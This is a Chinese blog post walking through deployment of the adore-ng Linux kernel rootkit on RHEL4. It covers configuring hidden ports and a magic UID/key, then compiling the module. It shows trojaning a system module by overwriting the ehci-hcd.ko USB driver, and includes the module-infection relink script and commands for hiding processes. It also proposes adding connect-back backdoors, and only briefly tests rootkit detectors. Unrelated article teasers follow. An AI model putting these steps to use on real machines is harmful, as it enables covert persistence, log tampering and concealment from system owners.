linux后门系列之adore-ng

c: warning: comparison is always false due to limited range of data type [-Wtype-limits] 这个是unsigned char类型的一个类型限制。做这个条件判断是没有意义的。 阅读详情

前言:
kernel 2.6已经大步走入linux的世界,写后门的和用后门的也得跟上潮流。

简写约定:
fc:fedora core
rh:red hat
rhel4:red hat enterprise linux 4
sk:suckit
adore:adore-ng
rk:rootkit
lkm:loadable kernel modules

什么是adore-ng?
一个LKM rk,google adore会有很多详细的介绍。

为什么选择他?
1、我没弄到sk for 2.6的
2、fc2之后rh的内核默认就禁用了kmem了,sk无法inject the kernel on the fly,同时很多检查rk的程序也失效:)
3、adore是大牛Stealth写的,历史悠久,帮他测试的人N多,应该会比其他LKM稳定,LKM的稳定会严重的影响系统的稳定,所以选型我们必须要谨慎,就算功能再牛,玩一下就把系统挂了,还被别人发现了,那就得不尝失了。

看看功能:
[root@RHEL4 adore-ng]# cat FEATURES

If you never used adore before, here's a list of supported
things:

 o runs on kernel 2.4.x UP and SMP systems
 o runs on kernel 2.6.x UP and SMP systems, i386 and x86_64 archs tested
 o file and directory hiding
 o process hiding
 o socket-hiding (no matter whether LISTENing, CONNECTED etc)
 o full-capability back door
 o does not utilize sys_call_table but VFS layer
 o KISS principle, to have as less things in there as possible
   but also being as much powerful as possible
 o hides itself from /proc and /sys filesystems

 o syslog filtering: logs generated by hidden processes never appear
   on the syslog UNIX socket anymore
 o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden processes
   do not appear in the file, except you force it by using special hidden
   AND authenticated process (a sshd back door is usually only hidden thus
   xtmp entries written by sshd don't make it to disk)
 o (optional) relinking of LKMs as described in phrack #61 aka LKM infection
   to make it possible to be automatically reloaded after reboots (2.4 and 2.6)


本文环境:
真实机器非虚拟机
[root@RHEL4 adore-ng]# uname -a; cat /etc/redhat-release
linux RHEL4 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 athlon i386 GNU/linux
Red Hat Enterprise linux AS release 4 (Nahant)

下载:
google adore-ng
或者可以在包子家园 http://baoz.net找找。

编辑和编译:
[root@RHEL4 adore-ng]# mv Makefile.2.6 Makefile

然后编辑下面的内容
EXTRA_CFLAGS=-DELITE_UID=2618748389U -DELITE_GID=4063569279U
EXTRA_CFLAGS+=-DCURRENT_ADORE=54
EXTRA_CFLAGS+=-DADORE_KEY="fgjgggfd"

这个是隐藏的TCP端口,最后的0不要动。
u_short HIDDEN_SERVICES[] =
        {2222, 7350, 0};


如果你是SMP的机器,就把下面打开。
EXTRA_CFLAGS+=-D__SMP__

设置你内核代码的位置
KERNEL_SOURCE=/usr/src/linux

OK,保存退出,make

[root@RHEL4 adore-ng]# make
cc -DELITE_UID=2648745389U -DELITE_GID=6063589279U -DCURRENT_ADORE=54 -DADORE_KEY="djksdfnvn" -DHIDE ava.c libinvisible.c -o ava
ava.c:47: warning: integer constant is too large for "unsigned long" type
ava.c:47: warning: large integer implicitly truncated to unsigned type
libinvisible.c: In function `adore_hidefile':
libinvisible.c:76: warning: integer constant is too large for "unsigned long" type
libinvisible.c:76: warning: large integer implicitly truncated to unsigned type
make -C /usr/src/linux SUBDIRS=`pwd` modules
make[1]: Entering directory `/usr/src/kernels/2.6.9-5.EL-i686'
  CC [M]  /root/adore-ng/adore-ng-2.6.o
/root/adore-ng/adore-ng-2.6.c:56: warning: `MODULE_PARM_' is deprecated (declared at include/linux/module.h:552)
/root/adore-ng/adore-ng-2.6.c:59: warning: `MODULE_PARM_' is deprecated (declared at include/linux/module.h:552)
/root/adore-ng/adore-ng-2.6.c:61: warning: `MODULE_PARM_' is deprecated (declared at include/linux/module.h:552)
/root/adore-ng/adore-ng-2.6.c: In function `adore_opt_filldir':
/root/adore-ng/adore-ng-2.6.c:281: warning: integer constant is too large for "unsigned long" type
/root/adore-ng/adore-ng-2.6.c:281: warning: comparison is always false due to limited range of data type
/root/adore-ng/adore-ng-2.6.c: In function `adore_root_filldir':
/root/adore-ng/adore-ng-2.6.c:363: warning: integer constant is too large for "unsigned long" type
/root/adore-ng/adore-ng-2.6.c:363: warning: comparison is always false due to limited range of data type
  Building modules, stage 2.
  MODPOST
  CC      /root/adore-ng/adore-ng-2.6.mod.o
  LD [M]  /root/adore-ng/adore-ng-2.6.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.9-5.EL-i686'
cc -O2 symsed.c -o symsed

说一下他的relink,就是把adore插到别的模块去的功能,我们看看他做了啥
system("cp $lkm_path t.ko");
system("./symsed t.ko zero;ld -r adore-ng-2.6.ko t.ko -o z.ko; rm -f t.ko");
print "nCopy trojaned LKM back to original LKM? (y/n)n";

while ($yn !~ /^(y|n)$/i) {
        $yn = <STDIN>;
        $yn =~ s/n//;
}

if ($yn =~ /y/i) {
        system("cp z.ko $lkm_path");
} else {
        print "nOutput LKM is z.kon";
}


我在RHEL4下插入模块后模块都无法启动,不过没关系,我们不插入,我们替换:)
只有十分少数人是安装了系统后modprobe -r的,所以我们可以很容易的替换一些系统不十分需要的模块,我们看看我的模块
[root@RHEL4 adore-ng]# lsmod
Module                  Size  Used by
dm_mod                 54741  0
ohci_hcd               21713  0
snd_intel8x0           33769  0
snd_ac97_codec         63889  1 snd_intel8x0
snd_pcm_oss            49017  0
snd_mixer_oss          17985  1 snd_pcm_oss
snd_pcm                96841  2 snd_intel8x0,snd_pcm_oss
snd_timer              29893  1 snd_pcm
snd_page_alloc          9673  2 snd_intel8x0,snd_pcm
snd_mpu401_uart         8769  1 snd_intel8x0
snd_rawmidi            26597  1 snd_mpu401_uart
snd_seq_device          8137  1 snd_rawmidi
snd                    54949  9

snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device
soundcore               9889  1 snd
sis900                 18756  0
ext3                  116809  1
jbd                    71257  1 ext3

我们选一个 Used By是0而且不怎么用的模块,比如usb的驱动,呵呵
ehci_hcd刚才已经被我用了,所以这里看不到,我们还可以用ohci_hcd或者是声卡的模块。

看看他在哪
[root@RHEL4 adore-ng]# modprobe -l | grep ehci
/lib/modules/2.6.9-5.EL/kernel/drivers/usb/host/ehci-hcd.ko

卸了他
[root@RHEL4 adore-ng]# modprobe -r ehci-hcd
替换他
[root@RHEL4 adore-ng]# cp adore-ng-2.6.ko /lib/modules/2.6.9-5.EL/kernel/drivers/usb/host/ehci-hcd.ko
加载他
[root@RHEL4 adore-ng]# modprobe ehci-hcd
检查他
[root@RHEL4 adore-ng]# ./ava I
Checking for adore  0.12 or higher ...
Adore 1.54 installed. Good luck.

ELITE_UID: 2648745389, ELITE_GID=1768621983, ADORE_KEY=djksdfnvn CURRENT_ADORE=54

纰漏:
如果对方使用了tripwire(RHEL4默认安装了),那么对ehci-hcd.ko的替换就很容易暴露,不过也没办法,就算relink模块一样是会暴露的,呵呵

疑问:
1、Hidden ports (adore-ng.h) go decimal, i.e. '2222' hides everything which belongs to port
2222.
这句话我理解是,同时隐藏和2222端口有关系的进程,呵呵,可能我对他的everything理解错了吧 :)
[root@RHEL4 ~]# nc -vvnlp 2222
listening on [any] 2222 ...

[root@RHEL4 adore-ng]# ps aux | grep 2222
root      1938  0.0  0.1  1724  496 pts/1    S+   13:34   0:00 nc -vvnlp 2222
root      1941  0.0  0.1  5304  684 pts/0    S+   13:36   0:00 grep 2222


2、[root@RHEL4 adore-ng]# grep full-capability FEATURES
 o full-capability back door
这个有点忽悠人,这个backdoor分明就是一个localroot,我个人觉得localroot不叫backdoor
[root@RHEL4 adore-ng]# ./ava | grep root
       r execute as root
估计就是这个。

改进:
1、根据进程名隐藏特定进程,这样我们就灵活很多了,有了这个功能,我们可以弥补adore在后门方面的缺陷,结合一些bindport或者connect back的后门使用

,否则系统进都进不去了,隐藏不隐藏对我们来说没意义了啊,现在只根据pid隐藏,一旦reboot了之后,pid肯定变了。。。
2、加一个端口复用或回连的后门功能吧。。。。类似sk那样的。

渐渐地。。。。渐渐地。。。我会在我的网站发布本文的更新和类似后门测试内容的小文,有兴趣的朋友可以关注
http://baoz.net

检测:
1、官方给出的检查工具
http://stealth.openwall.net/rootkits/removal/determine-0-24.tgz

[root@RHEL4 determine]# ./determine
deter-mine LKM rootkit detector. (C) 2004 Stealth

Trying to detect hidden processes ...Done.
Scanning /dev/mem for signatures. This may take a while ...
Did not find any sign of a LKM rootkit.
我们隐藏一个进程看看
[root@RHEL4 determine]# ava i 1557
Checking for adore  0.12 or higher ...
Adore 1.54 installed. Good luck.
Made PID 1557 invisible.

再检查
[root@RHEL4 determine]# ./determine
deter-mine LKM rootkit detector. (C) 2004 Stealth
Trying to detect hidden processes ...
Process with PID 1557 does not have a appropriate /proc entry. Hidden?Done.
Scanning /dev/mem for signatures. This may take a while ...
Unusual behaivior has been detected. Please consult the removal chapter of the README-file. <--发现了

2、chkrootkit
chkrootkit-0.46a这个可以发现隐藏了一个进程

3、rkhunter
rkhunter-1.2.8这个东西连隐藏进程都不去检查,还叫什么hunter....不过他在其他方面到是做的挺细心的。

adore-ng源码 Adore-ng-0.41具备以下几个功能 1. 文件隐藏 2. 进程隐藏 3. 端口隐藏 4. 清理犯罪现场 5. 获得root权限 立即下载

相关推荐

FPGA AXI DDR3读写时序调试与FIFO缓存实战解析

本文深入解析FPGA中AXI协议与DDR3的读写时序调试,重点探讨FIFO缓存在数据流控制中的关键作用。通过实战案例详细讲解突发传输中的地址对齐、数据分片等常见问题,并提供状态机设计、仿真波形分析和性能优化技巧,帮助开发者高效解决高速数据存储场景下的时序同步与数据一致性问题。

blockchain9miner的博客 1120

C++ warning: comparison is always false due to limited range of data type [-Wtype-limits]

这是关于此警告消息的小而清晰的帖子,起初看起来很奇怪。但是仔细观察,其背后的原因非常清楚而直接。涉及到代码移植性。 警告:由于数据类型范围有限,比较始终为假 这是一段简单的代码,当在64位体系结构上运行时,将产生以上警告。 string subject = "A[1]"; string search = "1"; unsigned location = subject.find(search); // location is unsigned if( location == std::st

水墨的博客 6630

2021-10-29 atcoder ABC157——B - Bingo

B - Bingo 先标记,然后暴力判断,这样最清晰最好想。 #include<iostream> #include<algorithm> #include<cstring> using namespace std; typedef long long LL; int a[110][110],b[110]; int main() { for(int i=1;i<=3;i++) for(int j=1;j<=3;j++) cin>>a[i]

honeistbutter的博客 339

adore-ng 项目教程

adore-ng 项目教程 1. 项目介绍 adore-ng 是一个针对 Linux 2.6 和 3.x 内核版本的 rootkit。Rootkit 是一种恶意软件,通常用于隐藏文件、进程或其他系统活动,以避免被检测到。adore-ng 项目旨在提供一个开源的 rootkit 实现,适用于特定的 Linux 内核版本。 该项目的主要功能包括: 隐藏文件和进程 以 root 权限执行命令 隐藏 r...

gitblog_00520的博客 945

浮点数加法器设计

一.设计内容及其要求 内容 根据浮点数的运算规则和IEEE754标准,实现浮点数的加法运算器。 要求: 浮点数格式:符号位1位,阶码8位,尾数23位 要求该实验能完整的体现浮点数的运算的五个步骤:对阶、尾数求和、规格化、舍入(要求使用对偶舍入)、溢出判断。 二.基本要素 浮点数 浮点数即实数,实数是所有有理数和无理数的集合。它之所以被称作浮点数,是因为小数点在数中的位置并不是固定的。一个浮点数值分为两部分存储:数值以及小数点在数值中的位置。 计算机中的浮点运算的计算结果一般是不确定的,一块芯片的浮点运算

Phoenix_ZengHao的博客 1万+

使用单片机和电流互感器对非正弦周期电流有效值测定

使用单片机和电流互感器,利用一种高速采样的方法来进行有效值测定

月光绿叶滴水音乐 3946

开源项目“adore-ng”指南及常见问题解决方案

开源项目“adore-ng”指南及常见问题解决方案 项目基础介绍 项目名称: adore-ng 主要编程语言: C (96.8%),小部分使用Makefile (3.2%) 许可协议: GPL-2.0 项目概述: adore-ng是一个专为Linux系统设计的rootkit工具,适应于2.6和3.x系列的内核版本。Rootkit是一种特殊类型的恶意软件,旨在隐藏其自身和其他程序的存在,并通常被用于...

gitblog_00121的博客 392

网格聚类 Grid Clustering/Grid-based Clustering

本文主要简单介绍了网格聚类的基本概念,优缺点,应用场景,建模时的注意事项,评价指标,实现方法,python示例和模型参数等。

JasonH2021的博客 4829

linux后门漏洞大全,Linux后门系列之adore-ng

久之前写的一个文章,自己转回来。奇了怪了,当时我测试是可以隐藏端口的,但我现在折腾又隐藏不了端口,答案很快就会出来:)找到原因了,东西还是原汁原味的好,遇到类似问题的请用原版,想知道问题出在哪的请自行diff。前言:kernel2.6已经大步走入linux的世界,写后门的和用后门的也得跟上潮流。简写约定:fc:fedoracorerh:redhatrhel4:redhatenterpr...

weixin_29790175的博客 554

PLUS模型土地利用变化模拟使用简介

因子包括自然因子如社会因子,通过计算整理得到新图层,并以tif文件输出到驱动因子的文件夹里,驱动因子文件夹里存放的是tif文件格式。线性回归使用提供的所有的LULC资源数据,可以选择往后预测的年数,选择好数据之后,可以得出预测的每一年的每一用地类型面积数据。在此过程之后,可以继续使用此CARS输入的数据继续模拟,也可返回二(3)中CARS模块,重新输入不同的年份预测。在此过程之后,可以继续使用此CARS输入的数据继续模拟,也可返回二(3)中CARS模块,重新输入不同的年份预测。

qq_42831270的博客 5812

Arduino 系列:Arduino Due 系列 (基于 ATSAM3X8E)_(5).电源管理与电压调节

电源管理与电压调节是确保嵌入式系统稳定性和可靠性的关键环节。通过合理选择电源输入方式、使用高效的电压调节器、设计适当的滤波电路和实施动态电源管理,可以有效提高系统的性能和寿命。同时,使用电源调试工具和编写调试代码,可以帮助开发者及时发现和解决问题。希望本文档能为使用 Arduino Due 的开发者提供有用的信息和指导。

2401_87715305的博客 1310

js强大的日期格式化函数,不仅可以格式化日期,还可以查询星期,一年中第几天等...

js强大的日期格式化,timestamp支持10位或13位的时间戳,或是时间字符串,同时支持android ios的处理,不只是日期的格式化还有其它方法,比如获 获取某月有多少天 、获取某个日期在这一年的第几周、一年中的第几天、一周中的第几天等方法 源码: /** * js日期格式化,timestamp支持10位或13位的时间戳,或是时间字符串 * @param{string} for...

weixin_30478923的博客 121

YOLOv13改进策略【Neck篇】| GSConv 轻量卷积,Slim-Neck 减参数还不掉点

Neck 篇的第二篇继续"替换式"改进,这次的对象是 Neck 里的下采样卷积。GSConv 出自《Slim-neck by GSConv: a better design of lightweight detector》(2022),它的出发点:DWSConv(深度可分离)轻但"信息混不进通道",标准卷积重但表达好——GSConv 用GConv(分组卷积)混通道 + DWConv 补空间 + Channel Shuffle 打散,两全其美。

qq_53329130的博客 30

如何从Moment.js平滑迁移到Luxon?20+个API差异对照与最佳实践清单

Luxon 是 JavaScript 中处理**日期和时间**的现代库(A library for working with dates and times in JS),它由 Moment 团队维护,可看作"现代化重构版 Moment"。相比 Moment.js,Luxon 的核心优势在于:**不可变对象、原生 Intl 国际化、开箱即用的时区支持、更严格的解析器**。 如果你正考虑迁移,官方

gitblog_00516的博客 501

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Python时间处理核心:时间戳与格式化详解及实战避坑指南

时间处理是编程中的基础且关键环节,尤其在数据记录、任务调度和系统交互等场景中不可或缺。其核心原理在于将时间抽象为两种基本表示形式:时间戳和结构化时间。时间戳作为自Unix纪元以来的秒数或毫秒数,提供了与时区无关的绝对时间基准,是实现跨系统时间同步和数据交换的通用技术。结构化时间则将时间分解为年、月、日等人类可读的组成部分,是进行时间计算和格式化的桥梁。掌握时间戳与结构化时间的相互转换,是处理时间问题的技术基石。在此基础上,时间格式化技术(如strftime和strptime)使得时间能在机器可读的数值与人类

weixin_30448603的博客 444

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

数据库——MySQL

MySQL数据库基础教程全面介绍了关系型数据库的核心概念和操作。

qq_46518480的博客 418

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Linux awk 命令全解析:文本与数据处理的编程语言实战指南

awk 是 Linux/Unix 环境下用于文本和数据处理的一门编程语言,数据可以来自标准输入(stdin)、一个或多个文件,也可以是其他命令的输出。它支持用户自定义函数、动态正则表达式、关联数组、流程控制与内置函数等高级特性,既能以命令行形式即时处理单行文本,也能编写独立脚本完成复杂的报表与日志分析任务。本文以本仓库的 [awk 命令手册](https://link.gitcode.com/i/

gitblog_00245的博客 435

HarmonyOS 6.1 实战:组件之间通过属性传递(Props Down)和事件回调(Events Up)进行通信,形成单向数据流

鸿蒙操作系统(HarmonyOS)作为面向全场景智慧生活的分布式操作系统,其应用开发框架ArkUI提供了一套全新的声明式UI开发范式。ArkTS作为ArkUI的开发语言,在TypeScript的基础上进行了深度扩展,引入了装饰器、状态管理、自定义组件等一系列核心能力,使得开发者能够以近乎自然语言的方式描述界面结构与交互逻辑。在传统的Android开发中,开发者需要通过XML布局文件定义界面结构,再通过Java/Kotlin代码在运行时查找视图、绑定数据、监听事件。这种命令式的开发模式要求开发者精确描述"怎么

2401_86049470的博客 220

php 警告:赋值丢弃了指针目标类型的限定,常见gcc编译警告整理

1、warning: no newline at end of file在文件最后一行加上回车键解释:在《Rationale for the C99 standard》一文中,有C99的相关信息:A backslash immediately before a newline has long been used to continue string literals, as well as pr...

weixin_29876341的博客 441

Rootkit 之 adore-ng 模拟木马病毒

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。 在我们生活中,经常看的电视剧谍战片里有一个必不可少的人物——卧底。它的职责就是:良好的伪装使得对手对此长时间毫无察觉;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。 而我们今天要模...

! 1884

图说adore-ng之端口隐藏

端口隐藏,使用户无法通过netstat之类的命令,得到我们需要隐藏的端口信息。netstat是通过读/proc/net下的文件来完成的。Strace可以看出:netstat的主要操作有:open/read  文件/proc/net/tcp,/proc/net/udp,/proc/net/raw ……,如下图:adore-ng的实现:  adore默认隐藏的是tcp协议的端口

么刚的专栏 2288

Adore-ng 项目安装与使用指南

Adore-ng 项目安装与使用指南 1. 项目目录结构及介绍 Adore-ng 是一个 Linux 内核 rootkit,适用于 2.6 和 3.x 内核版本。以下是项目的目录结构及其介绍: adore-ng/ ├── Makefile ├── README.md ├── adore-ng.c ├── adore-ng.h ├── libinvisible.c └── libinvisible....

gitblog_01125的博客 719

常见gcc编译警告整理(开始)

1、warning: no newline at end of file 在文件最后一行加上回车键 解释:在《Rationale for the C99 standard》一文中,有C99的相关信息: A backslash immediately before a newline has long been used to continue string literals, as well

tietao的专栏 5万+

Adore-ng使用简介

Team: D.S.T 数据安全中心这是个adore-ng的简单安装使用指南,如果是老鸟就不用看了,呵呵adore-ng是一款优秀的LKM rootkit,可以从http://stealth.openwall.net/rootkits/ 这里下载到它的最新版本。目前最新版的是0.54,能够在2.4 -2.6内核下使用,并且稳定性十分好。下面我们通过一步步的演示来揭示它强大的功能.1.以ro

1314
上一篇: 一次入侵秀的详细分析
下一篇: LKM 注射 一
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值